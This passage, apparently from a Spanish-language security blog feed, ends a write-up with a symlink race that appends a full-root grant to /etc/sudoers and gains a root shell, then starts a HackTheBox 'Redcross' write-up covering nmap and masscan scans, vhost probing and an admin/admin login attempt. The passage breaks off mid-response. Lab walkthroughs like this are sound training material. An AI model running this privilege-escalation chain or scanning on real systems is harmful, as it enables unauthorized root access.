</span></span><span style="display:flex;"><span>lrwxrwxrwx 1 giovanni giovanni    6 Apr  5 07:53 tmp -&gt; /etc/sudoers
</span></span><span style="display:flex;"><span>drwxr-xr-x 3 giovanni giovanni 4.0K Jun 27  2018 courses
</span></span><span style="display:flex;"><span>drwxr-xr-x 3 giovanni giovanni 4.0K Jun 27  2018 tmp.old
</span></span><span style="display:flex;"><span>giovanni@teacher:~/work$ sleep 60 &amp;&amp; printf &#34;giovanni   ALL=(ALL:ALL) ALL&#34; &gt;&gt; /etc/sudoers
</span></span><span style="display:flex;"><span>printf &#34;giovanni   ALL=(ALL:ALL) ALL&#34; &gt;&gt; /etc/sudoers
</span></span><span style="display:flex;"><span>giovanni@teacher:~/work$ rm tmp &amp;&amp; mv tmp.old tmp
</span></span><span style="display:flex;"><span>rm tmp &amp;&amp; mv tmp.old tmp
</span></span><span style="display:flex;"><span>giovanni@teacher:~/work$ sudo -s
</span></span><span style="display:flex;"><span>sudo -s
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>We trust you have received the usual lecture from the local System
</span></span><span style="display:flex;"><span>Administrator. It usually boils down to these three things:
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    #1) Respect the privacy of others.
</span></span><span style="display:flex;"><span>    #2) Think before you type.
</span></span><span style="display:flex;"><span>    #3) With great power comes great responsibility.
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>[sudo] password for giovanni: expelled
</span></span><span style="display:flex;"><span>root@teacher:/home/giovanni/work# id
</span></span><span style="display:flex;"><span>id
</span></span><span style="display:flex;"><span>uid=0(root) gid=0(root) grupos=0(root)
</span></span></code></pre></div><hr>
<p>Gracias por llegar hasta aquí, hasta la próxima!</p>]]></content></item><item><title>HTB write-up: Redcross</title><link>https://www.xbyte.mx/posts/htb_writeup_-_redcross/</link><pubDate>Sun, 14 Apr 2019 00:56:34 -0500</pubDate><guid>https://www.xbyte.mx/posts/htb_writeup_-_redcross/</guid><description>&lt;p&gt;RedCross fue una maquina que personalmente después de resolverla no me gusto mucho. Pero no fue hasta que realice el write-up que me di cuenta que es bastante realista al inicio, porque efectúa algunas técnicas para evitar el uso de herramientas automatizadas como sqlmap y nmap, las vulnerabilidades hacia el privesc son de diseño.&lt;/p&gt;</description><content type="html"><![CDATA[<p>RedCross fue una maquina que personalmente después de resolverla no me gusto mucho. Pero no fue hasta que realice el write-up que me di cuenta que es bastante realista al inicio, porque efectúa algunas técnicas para evitar el uso de herramientas automatizadas como sqlmap y nmap, las vulnerabilidades hacia el privesc son de diseño.</p>
<h1 id="machine-info">Machine info</h1>
<p>La información que tenemos de la máquina es:</p>
<table>
  <thead>
      <tr>
          <th>Name</th>
          <th>Maker</th>
          <th>OS</th>
          <th>IP Address</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td><img src="https://www.hackthebox.eu/storage/avatars/6c735b462ef58f59d3561966d31f7e48_thumb.png" alt="redcross image"> <a href="https://www.hackthebox.eu/home/machines/profile/162">redcross</a></td>
          <td><a href="https://www.hackthebox.eu/home/users/profile/9631">ompamo</a></td>
          <td>Linux</td>
          <td>10.10.10.113</td>
      </tr>
  </tbody>
</table>
<p>Su tarjeta de presentación es:</p>
<p><img src="/img/htb-redcross/cardinfo.png" alt="cardinfo"></p>
<h1 id="port-scanning">Port Scanning</h1>
<p>Iniciamos por ejecutar un <code>nmap</code> y un <code>masscan</code> para identificar puertos udp y tcp abiertos:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>root@laptop:~# nmap -sS -p- -n --open -v 10.10.10.113
</span></span><span style="display:flex;"><span>Starting Nmap 7.70 ( https://nmap.org ) at 2019-03-17 16:47 CST
</span></span><span style="display:flex;"><span>Initiating Ping Scan at 19:04
</span></span><span style="display:flex;"><span>Scanning 10.10.10.113 [4 ports]
</span></span><span style="display:flex;"><span>Completed Ping Scan at 19:04, 0.22s elapsed (1 total hosts)
</span></span><span style="display:flex;"><span>Initiating SYN Stealth Scan at 19:04
</span></span><span style="display:flex;"><span>Scanning 10.10.10.113 [65535 ports]
</span></span><span style="display:flex;"><span>Discovered open port 80/tcp on 10.10.10.113
</span></span><span style="display:flex;"><span>Discovered open port 443/tcp on 10.10.10.113
</span></span><span style="display:flex;"><span>Discovered open port 22/tcp on 10.10.10.113
</span></span><span style="display:flex;"><span>Increasing send delay for 10.10.10.113 from 0 to 5 due to 11 out of 29 dropped probes since last increase.
</span></span><span style="display:flex;"><span>SYN Stealth Scan Timing: About 3.31% done; ETC: 16:54 (0:15:05 remaining)
</span></span><span style="display:flex;"><span>Increasing send delay for 10.10.10.113 from 5 to 10 due to 11 out of 22 dropped probes since last increase.
</span></span><span style="display:flex;"><span>Increasing send delay for 10.10.10.113 from 10 to 20 due to 11 out of 24 dropped probes since last increase.
</span></span><span style="display:flex;"><span>SYN Stealth Scan Timing: About 3.94% done; ETC: 17:04 (0:24:46 remaining)
</span></span><span style="display:flex;"><span>Increasing send delay for 10.10.10.113 from 20 to 40 due to 11 out of 23 dropped probes since last increase.
</span></span><span style="display:flex;"><span>SYN Stealth Scan Timing: About 4.34% done; ETC: 17:14 (0:33:24 remaining)
</span></span><span style="display:flex;"><span>Increasing send delay for 10.10.10.113 from 40 to 80 due to 11 out of 25 dropped probes since last increase.
</span></span><span style="display:flex;"><span>Increasing send delay for 10.10.10.113 from 80 to 160 due to 11 out of 23 dropped probes since last increase.
</span></span><span style="display:flex;"><span>SYN Stealth Scan Timing: About 4.56% done; ETC: 17:23 (0:42:11 remaining)
</span></span><span style="display:flex;"><span>Increasing send delay for 10.10.10.113 from 160 to 320 due to 11 out of 26 dropped probes since last increase.
</span></span><span style="display:flex;"><span>SYN Stealth Scan Timing: About 4.66% done; ETC: 17:33 (0:51:29 remaining)
</span></span><span style="display:flex;"><span>SYN Stealth Scan Timing: About 4.72% done; ETC: 17:43 (1:00:50 remaining)
</span></span><span style="display:flex;"><span>SYN Stealth Scan Timing: About 4.79% done; ETC: 17:52 (1:09:54 remaining)
</span></span><span style="display:flex;"><span>SYN Stealth Scan Timing: About 4.86% done; ETC: 18:01 (1:18:43 remaining)
</span></span><span style="display:flex;"><span>...
</span></span><span style="display:flex;"><span>FOREVER
</span></span></code></pre></div><ul>
<li><code>-sS</code> para escaneo TCP vía SYN</li>
<li><code>-p-</code> para todos los puertos TCP</li>
<li><code>--open</code> para que solo me muestre resultados de puertos abiertos</li>
<li><code>-n</code> para no ejecutar resoluciones</li>
<li><code>-v</code> para modo <em>verboso</em></li>
</ul>
<p>Como pudimos ver con <code>nmap</code>, el escaneo demoraba mucho e incrementaba el tiempo de envío conforme encontraba drops. Podemos obtener un mejor resultado si agregamos <code>--max-retries 1 --max-scan-delay 1000ms</code>, para limitar un reintento por prueba y un segundo de tiempo de espera por prueba.</p>
<p>Por el momento, tomemos como referencia los resultados, los 3 primeros puertos descubiertos, y continuemos con el doblecheck usando <code>masscan</code>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>root@laptop:~# masscan -e tun0 -p0-65535,U:0-65535 --rate 500 10.10.10.113
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Starting masscan 1.0.4 (http://bit.ly/14GZzcT) at 2019-03-18 01:15:51 GMT
</span></span><span style="display:flex;"><span> -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
</span></span><span style="display:flex;"><span>Initiating SYN Stealth Scan
</span></span><span style="display:flex;"><span>Scanning 1 hosts [131072 ports/host]
</span></span><span style="display:flex;"><span>Discovered open port 22/tcp on 10.10.10.113
</span></span><span style="display:flex;"><span>Discovered open port 443/tcp on 10.10.10.113
</span></span><span style="display:flex;"><span>Discovered open port 80/tcp on 10.10.10.113
</span></span></code></pre></div><ul>
<li><code>-e tun0</code> para ejecutarlo nada mas en la interface tun0</li>
<li><code>-p0-65535,U:0-65535</code> TODOS los puertos (TCP y UDP)</li>
<li><code>--rate 500</code> para mandar 500pps y no sobre cargar la VPN ):</li>
</ul>
<p>Como podemos ver los puertos son los mismos, por lo que iniciamos por identificar los servicios nuevamente con <code>nmap</code>.</p>
<h1 id="services-identification">Services Identification</h1>
<p>Lanzamos <code>nmap</code> con los parámetros habituales para la identificación (-sC -sV) y le sumamos un timeout a los scripts NSE de 10:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>root@laptop:~# nmap -sC -sV -p22,80,443 -n -v 10.10.10.113 --script-timeout 10
</span></span><span style="display:flex;"><span>Starting Nmap 7.70 ( https://nmap.org ) at 2019-03-17 18:31 CDT
</span></span><span style="display:flex;"><span>NSE: Loaded 148 scripts for scanning.
</span></span><span style="display:flex;"><span>NSE: Script Pre-scanning.
</span></span><span style="display:flex;"><span>Initiating NSE at 18:31
</span></span><span style="display:flex;"><span>Completed NSE at 18:31, 0.00s elapsed
</span></span><span style="display:flex;"><span>Initiating NSE at 18:31
</span></span><span style="display:flex;"><span>Completed NSE at 18:31, 0.00s elapsed
</span></span><span style="display:flex;"><span>Initiating Ping Scan at 18:31
</span></span><span style="display:flex;"><span>Scanning 10.10.10.113 [4 ports]
</span></span><span style="display:flex;"><span>Completed Ping Scan at 18:31, 0.23s elapsed (1 total hosts)
</span></span><span style="display:flex;"><span>Initiating SYN Stealth Scan at 18:31
</span></span><span style="display:flex;"><span>Scanning 10.10.10.113 [3 ports]
</span></span><span style="display:flex;"><span>Discovered open port 22/tcp on 10.10.10.113
</span></span><span style="display:flex;"><span>Discovered open port 443/tcp on 10.10.10.113
</span></span><span style="display:flex;"><span>Discovered open port 80/tcp on 10.10.10.113
</span></span><span style="display:flex;"><span>Completed SYN Stealth Scan at 18:31, 0.22s elapsed (3 total ports)
</span></span><span style="display:flex;"><span>Initiating Service scan at 18:31
</span></span><span style="display:flex;"><span>Scanning 3 services on 10.10.10.113
</span></span><span style="display:flex;"><span>Completed Service scan at 18:31, 12.90s elapsed (3 services on 1 host)
</span></span><span style="display:flex;"><span>NSE: Script scanning 10.10.10.113.
</span></span><span style="display:flex;"><span>Initiating NSE at 18:31
</span></span><span style="display:flex;"><span>Completed NSE at 18:31, 10.31s elapsed
</span></span><span style="display:flex;"><span>Initiating NSE at 18:31
</span></span><span style="display:flex;"><span>Completed NSE at 18:31, 0.01s elapsed
</span></span><span style="display:flex;"><span>Nmap scan report for 10.10.10.113
</span></span><span style="display:flex;"><span>Host is up (0.11s latency).
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>PORT    STATE SERVICE  VERSION
</span></span><span style="display:flex;"><span>22/tcp  open  ssh      OpenSSH 7.4p1 Debian 10+deb9u3 (protocol 2.0)
</span></span><span style="display:flex;"><span>| ssh-hostkey:
</span></span><span style="display:flex;"><span>|   2048 67:d3:85:f8:ee:b8:06:23:59:d7:75:8e:a2:37:d0:a6 (RSA)
</span></span><span style="display:flex;"><span>|   256 89:b4:65:27:1f:93:72:1a:bc:e3:22:70:90:db:35:96 (ECDSA)
</span></span><span style="display:flex;"><span>|_  256 66:bd:a1:1c:32:74:32:e2:e6:64:e8:a5:25:1b:4d:67 (ED25519)
</span></span><span style="display:flex;"><span>80/tcp  open  http     Apache httpd 2.4.25
</span></span><span style="display:flex;"><span>| http-methods:
</span></span><span style="display:flex;"><span>|_  Supported Methods: GET HEAD POST OPTIONS
</span></span><span style="display:flex;"><span>|_http-server-header: Apache/2.4.25 (Debian)
</span></span><span style="display:flex;"><span>|_http-title: Did not follow redirect to https://intra.redcross.htb/
</span></span><span style="display:flex;"><span>443/tcp open  ssl/http Apache httpd 2.4.25
</span></span><span style="display:flex;"><span>| http-methods:
</span></span><span style="display:flex;"><span>|_  Supported Methods: GET HEAD POST OPTIONS
</span></span><span style="display:flex;"><span>|_http-server-header: Apache/2.4.25 (Debian)
</span></span><span style="display:flex;"><span>|_http-title: Did not follow redirect to https://intra.redcross.htb/
</span></span><span style="display:flex;"><span>| ssl-cert: Subject: commonName=intra.redcross.htb/organizationName=Red Cross International/stateOrProvinceName=NY/countryName=US
</span></span><span style="display:flex;"><span>| Issuer: commonName=intra.redcross.htb/organizationName=Red Cross International/stateOrProvinceName=NY/countryName=US
</span></span><span style="display:flex;"><span>| Public Key type: rsa
</span></span><span style="display:flex;"><span>| Public Key bits: 2048
</span></span><span style="display:flex;"><span>| Signature Algorithm: sha256WithRSAEncryption
</span></span><span style="display:flex;"><span>| Not valid before: 2018-06-03T19:46:58
</span></span><span style="display:flex;"><span>| Not valid after:  2021-02-27T19:46:58
</span></span><span style="display:flex;"><span>| MD5:   f95b 6897 247d ca2f 3da7 6756 1046 16f1
</span></span><span style="display:flex;"><span>|_SHA-1: e86e e827 6ddd b483 7f86 c59b 2995 002c 77cc fcea
</span></span><span style="display:flex;"><span>|_ssl-date: TLS randomness does not represent time
</span></span><span style="display:flex;"><span>Service Info: Host: redcross.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>NSE: Script Post-scanning.
</span></span><span style="display:flex;"><span>Initiating NSE at 18:31
</span></span><span style="display:flex;"><span>Completed NSE at 18:31, 0.00s elapsed
</span></span><span style="display:flex;"><span>Initiating NSE at 18:31
</span></span><span style="display:flex;"><span>Completed NSE at 18:31, 0.00s elapsed
</span></span><span style="display:flex;"><span>Read data files from: /usr/bin/../share/nmap
</span></span><span style="display:flex;"><span>Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
</span></span><span style="display:flex;"><span>Nmap done: 1 IP address (1 host up) scanned in 24.28 seconds
</span></span><span style="display:flex;"><span>           Raw packets sent: 7 (284B) | Rcvd: 4 (160B)
</span></span></code></pre></div><ul>
<li><code>-sC</code> para que ejecute los scripts safe-discovery de nse</li>
<li><code>-sV</code> para que me traiga el banner del puerto</li>
<li><code>-p22,80,443</code> para unicamente los puertos TCP/22, TCP/80 y TCP/443</li>
<li><code>-n</code> para no ejecutar resoluciones</li>
<li><code>-v</code> para modo <em>verboso</em></li>
<li><code>--nse-timeout 10</code> para limitar las pruebas de tiempo y no perdernos en el delay a nivel de script como antes con scan.</li>
</ul>
<p>Como podemos ver, tenemos 2 servicios HTTP (TCP/80) y HTTPS (TCP/443) haciendo referencia a un host intra.redcross.htb, y un servicio de SSH expuesto. Por las versiones de APACHE y OpenSSH no encontramos exploits directos, por lo que pasemos a analizar los servicios.</p>
<h1 id="explorando-el-servicio-http-tcp80">Explorando el servicio HTTP (TCP/80)</h1>
<p>Comenzamos por explorar el servicio web sobre el puerto TCP/80:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-html" data-lang="html"><span style="display:flex;"><span>xbytemx@laptop:~/htb/redcross$ http 10.10.10.113
</span></span><span style="display:flex;"><span>HTTP/1.1 301 Moved Permanently
</span></span><span style="display:flex;"><span>Connection: Keep-Alive
</span></span><span style="display:flex;"><span>Content-Length: 313
</span></span><span style="display:flex;"><span>Content-Type: text/html; charset=iso-8859-1
</span></span><span style="display:flex;"><span>Date: Mon, 18 Mar 2019 01:12:38 GMT
</span></span><span style="display:flex;"><span>Keep-Alive: timeout=5, max=100
</span></span><span style="display:flex;"><span>Location: https://intra.redcross.htb/
</span></span><span style="display:flex;"><span>Server: Apache/2.4.25 (Debian)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">&lt;!DOCTYPE HTML PUBLIC &#34;-//IETF//DTD HTML 2.0//EN&#34;&gt;</span>
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">html</span>&gt;&lt;<span style="color:#f92672">head</span>&gt;
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">title</span>&gt;301 Moved Permanently&lt;/<span style="color:#f92672">title</span>&gt;
</span></span><span style="display:flex;"><span>&lt;/<span style="color:#f92672">head</span>&gt;&lt;<span style="color:#f92672">body</span>&gt;
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">h1</span>&gt;Moved Permanently&lt;/<span style="color:#f92672">h1</span>&gt;
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">p</span>&gt;The document has moved &lt;<span style="color:#f92672">a</span> <span style="color:#a6e22e">href</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;https://intra.redcross.htb/&#34;</span>&gt;here&lt;/<span style="color:#f92672">a</span>&gt;.&lt;/<span style="color:#f92672">p</span>&gt;
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">hr</span>&gt;
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">address</span>&gt;Apache/2.4.25 (Debian) Server at 10.10.10.113 Port 80&lt;/<span style="color:#f92672">address</span>&gt;
</span></span><span style="display:flex;"><span>&lt;/<span style="color:#f92672">body</span>&gt;&lt;/<span style="color:#f92672">html</span>&gt;
</span></span></code></pre></div><p>Lo primero que recibimos es un código 301 que nos redirige hacia <code>intra.redcross.htb</code> indicándonos la existencia de posibles vhosts sobre el servidor. Importante que también cambiamos de http (tcp/80) a https (tcp/443), pero de momento no ajustemos el protocolo y agreguemos el header de Host.</p>
<p>Hagamos la prueba sobre intra.redcross.htb:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-html" data-lang="html"><span style="display:flex;"><span>xbytemx@laptop:~/htb/redcross$ http 10.10.10.113 Host:intra.redcross.htb
</span></span><span style="display:flex;"><span>HTTP/1.1 301 Moved Permanently
</span></span><span style="display:flex;"><span>Connection: Keep-Alive
</span></span><span style="display:flex;"><span>Content-Length: 319
</span></span><span style="display:flex;"><span>Content-Type: text/html; charset=iso-8859-1
</span></span><span style="display:flex;"><span>Date: Mon, 18 Mar 2019 01:12:55 GMT
</span></span><span style="display:flex;"><span>Keep-Alive: timeout=5, max=100
</span></span><span style="display:flex;"><span>Location: https://intra.redcross.htb/
</span></span><span style="display:flex;"><span>Server: Apache/2.4.25 (Debian)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">&lt;!DOCTYPE HTML PUBLIC &#34;-//IETF//DTD HTML 2.0//EN&#34;&gt;</span>
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">html</span>&gt;&lt;<span style="color:#f92672">head</span>&gt;
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">title</span>&gt;301 Moved Permanently&lt;/<span style="color:#f92672">title</span>&gt;
</span></span><span style="display:flex;"><span>&lt;/<span style="color:#f92672">head</span>&gt;&lt;<span style="color:#f92672">body</span>&gt;
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">h1</span>&gt;Moved Permanently&lt;/<span style="color:#f92672">h1</span>&gt;
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">p</span>&gt;The document has moved &lt;<span style="color:#f92672">a</span> <span style="color:#a6e22e">href</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;https://intra.redcross.htb/&#34;</span>&gt;here&lt;/<span style="color:#f92672">a</span>&gt;.&lt;/<span style="color:#f92672">p</span>&gt;
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">hr</span>&gt;
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">address</span>&gt;Apache/2.4.25 (Debian) Server at intra.redcross.htb Port 80&lt;/<span style="color:#f92672">address</span>&gt;
</span></span><span style="display:flex;"><span>&lt;/<span style="color:#f92672">body</span>&gt;&lt;/<span style="color:#f92672">html</span>&gt;
</span></span></code></pre></div><p>Observamos que al ingresar correctamente el vhost, tenemos una redirección hacia https:</p>
<p>Sigamos esta redirección:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-html" data-lang="html"><span style="display:flex;"><span>xbytemx@laptop:~/htb/redcross$ http --verify no https://10.10.10.113 Host:intra.redcross.htb
</span></span><span style="display:flex;"><span>HTTP/1.1 302 Found
</span></span><span style="display:flex;"><span>Cache-Control: no-store, no-cache, must-revalidate
</span></span><span style="display:flex;"><span>Connection: Keep-Alive
</span></span><span style="display:flex;"><span>Content-Length: 463
</span></span><span style="display:flex;"><span>Content-Type: text/html; charset=UTF-8
</span></span><span style="display:flex;"><span>Date: Mon, 18 Mar 2019 01:13:13 GMT
</span></span><span style="display:flex;"><span>Expires: Thu, 19 Nov 1981 08:52:00 GMT
</span></span><span style="display:flex;"><span>Keep-Alive: timeout=5, max=100
</span></span><span style="display:flex;"><span>Location: /?page=login
</span></span><span style="display:flex;"><span>Pragma: no-cache
</span></span><span style="display:flex;"><span>Server: Apache/2.4.25 (Debian)
</span></span><span style="display:flex;"><span>Set-Cookie: PHPSESSID=aa8a92c5mkbstk7b3t01qt37o5; path=/
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">a</span> <span style="color:#a6e22e">href</span><span style="color:#f92672">=</span><span style="color:#e6db74">/</span>&gt;&lt;<span style="color:#f92672">table</span> <span style="color:#a6e22e">border</span><span style="color:#f92672">=</span><span style="color:#e6db74">0</span> <span style="color:#a6e22e">width</span><span style="color:#f92672">=</span><span style="color:#e6db74">90%</span>&gt;&lt;<span style="color:#f92672">tr</span>&gt;&lt;<span style="color:#f92672">td</span> <span style="color:#a6e22e">colspan</span><span style="color:#f92672">=</span><span style="color:#e6db74">2</span>&gt;&lt;<span style="color:#f92672">table</span> <span style="color:#a6e22e">border</span><span style="color:#f92672">=</span><span style="color:#e6db74">0</span>&gt;&lt;<span style="color:#f92672">tr</span>&gt;&lt;<span style="color:#f92672">td</span> <span style="color:#a6e22e">rowspan</span><span style="color:#f92672">=</span><span style="color:#e6db74">2</span> <span style="color:#a6e22e">align</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#39;right&#39;</span>&gt;&lt;<span style="color:#f92672">img</span> <span style="color:#a6e22e">src</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#39;/images/logo.png&#39;</span> <span style="color:#a6e22e">width</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#39;50%&#39;</span>&gt;&lt;/<span style="color:#f92672">td</span>&gt;&lt;<span style="color:#f92672">td</span> <span style="color:#a6e22e">valign</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#39;bottom&#39;</span>&gt;&lt;<span style="color:#f92672">h2</span>&gt;RedCross Messaging Intranet&lt;/<span style="color:#f92672">h2</span>&gt;&lt;/<span style="color:#f92672">td</span>&gt;&lt;/<span style="color:#f92672">tr</span>&gt;&lt;<span style="color:#f92672">tr</span>&gt;&lt;<span style="color:#f92672">td</span> <span style="color:#a6e22e">valign</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#39;top&#39;</span>&gt;&lt;<span style="color:#f92672">h3</span>&gt;Employees <span style="color:#960050;background-color:#1e0010">&amp;</span> providers portal&lt;/<span style="color:#f92672">h3</span>&gt;&lt;/<span style="color:#f92672">td</span>&gt;&lt;/<span style="color:#f92672">tr</span>&gt;&lt;/<span style="color:#f92672">table</span>&gt;&lt;/<span style="color:#f92672">td</span>&gt;&lt;<span style="color:#f92672">td</span>&gt;&lt;<span style="color:#f92672">p</span> <span style="color:#a6e22e">style</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#39;font-size:75%&#39;</span>&gt;not logged in&lt;/<span style="color:#f92672">p</span>&gt;&lt;<span style="color:#f92672">form</span> <span style="color:#a6e22e">action</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#39;/?page=login&#39;</span> <span style="color:#a6e22e">method</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#39;POST&#39;</span>&gt;&lt;<span style="color:#f92672">input</span> <span style="color:#a6e22e">type</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#39;submit&#39;</span> <span style="color:#a6e22e">name</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#39;action&#39;</span> <span style="color:#a6e22e">value</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#39;go login&#39;</span>&gt;&lt;/<span style="color:#f92672">form</span>&gt;&lt;/<span style="color:#f92672">td</span>&gt;&lt;/<span style="color:#f92672">tr</span>&gt;&lt;/<span style="color:#f92672">table</span>&gt;&lt;/<span style="color:#f92672">a</span>&gt;
</span></span></code></pre></div><p>Tenemos ahora un <em>302</em>, un <code>location</code> de <code>/?page=login</code> y un portal de ingreso para empleados &ldquo;intranet&rdquo;. Hamos un request en esta pagina:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/htb/redcross$ http --verify no https://10.10.10.113/?page=login Host:intra.redcross.htb
</span></span><span style="display:flex;"><span>HTTP/1.1 200 OK
</span></span><span style="display:flex;"><span>Cache-Control: no-store, no-cache, must-revalidate
</span></span><span style="display:flex;"><span>Connection: Keep-Alive
</span></span><span style="display:flex;"><span>Content-Encoding: gzip
</span></span><span style="display:flex;"><span>Content-Length: 485
</span></span><span style="display:flex;"><span>Content-Type: text/html; charset=UTF-8
</span></span><span style="display:flex;"><span>Date: Mon, 18 Mar 2019 01:13:45 GMT
</span></span><span style="display:flex;"><span>Expires: Thu, 19 Nov 1981 08:52:00 GMT
</span></span><span style="display:flex;"><span>Keep-Alive: timeout=5, max=100
</span></span><span style="display:flex;"><span>Pragma: no-cache
</span></span><span style="display:flex;"><span>Server: Apache/2.4.25 (Debian)
</span></span><span style="display:flex;"><span>Set-Cookie: PHPSESSID=snmneeed8pfkdpsv3icgknd5v7; path=/
</span></span><span style="display:flex;"><span>Vary: Accept-Encoding
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>&lt;a href=https://www.xbyte.mx/&gt;&lt;table border=0 width=90%&gt;&lt;tr&gt;&lt;td colspan=2&gt;&lt;table border=0&gt;&lt;tr&gt;&lt;td rowspan=2 align=&#39;right&#39;&gt;&lt;img src=&#39;https://www.xbyte.mx/images/logo.png&#39; width=&#39;50%&#39;&gt;&lt;/td&gt;&lt;td valign=&#39;bottom&#39;&gt;&lt;h2&gt;RedCross Messaging Intranet&lt;/h2&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td valign=&#39;top&#39;&gt;&lt;h3&gt;Employees &amp; providers portal&lt;/h3&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/td&gt;&lt;td&gt;&lt;p style=&#39;font-size:75%&#39;&gt;not logged in&lt;/p&gt;&lt;form action=&#39;https://www.xbyte.mx/?page=login&#39; method=&#39;POST&#39;&gt;&lt;input type=&#39;submit&#39; name=&#39;action&#39; value=&#39;go login&#39;&gt;&lt;/form&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/a&gt;&lt;center&gt;&lt;table&gt;&lt;form method=&#39;POST&#39; action=&#39;https://www.xbyte.mx/pages/actions.php&#39;&gt;&lt;tr&gt;&lt;td align=&#39;right&#39;&gt;User&lt;/td&gt;&lt;td&gt;&lt;input type=&#39;text&#39; name=&#39;user&#39;&gt;&lt;/input&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align=&#39;right&#39;&gt;Password&lt;/td&gt;&lt;td&gt;&lt;input type=&#39;password&#39; name=&#39;pass&#39;&gt;&lt;/input&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td colspan=2 align=&#39;right&#39;&gt;&lt;input type=&#39;submit&#39; value=&#39;Login&#39;&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;input type=&#39;hidden&#39; name=&#39;action&#39; value=&#39;login&#39;&gt;&lt;/form&gt;&lt;p&gt;Please contact with our staff via &lt;a href=&#39;?page=contact&#39;&gt;contact form&lt;/a&gt; to request your access credentials.&lt;/p&gt;&lt;/center&gt;&lt;br&gt;&lt;br&gt;&lt;center&gt;&lt;p&gt;Web messaging system 0.3b&lt;/p&gt;&lt;/center&gt;
</span></span></code></pre></div><p><img src="/img/htb-redcross/http-intra-root.png" alt="intra root"></p>
<p>Agregaremos el fqdn &lsquo;intra.redcross.htb&rsquo; en nuestro archivo /etc/hosts.</p>
<p>Podemos ver que tenemos un form hacia <code>/pages/actions.php</code> que recibe el user, pass y action. Mandemos una prueba via POST con las credenciales tradicionales de admin/admin:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-html" data-lang="html"><span style="display:flex;"><span>xbytemx@laptop:~/htb/redcross$ http --verify no -f POST &#34;https://intra.redcross.htb/pages/actions.php&#34; user=admin pass=admin submit=Login action=login
</span></span><span style="display:flex;"><span>HTTP/1.1 200 OK
</span></span><span style="display:flex;"><span>Cache-Control: no-store, no-cache, must-revalidate
</span></span><span style="display:flex;"><span>Connection: Keep-Alive
</span></span><span style="display:flex;"><span>Content-Length: 11
</span></span><span style="display:flex;"><span>Content-Type: text/html; charset=UTF-8
</span></span><span style="display:flex;"><span>Date: Tue, 19 Mar 2019 04:26:36 GMT
</span></span><span style="display:flex;"><span>Expires: Thu, 19 Nov 1981 08:52:00 GMT
</span></span><span style="display:flex;"><span>Keep-Alive: timeout=5, max=100
</span></span><span style="display:flex;"><span>Pragma: no-cache
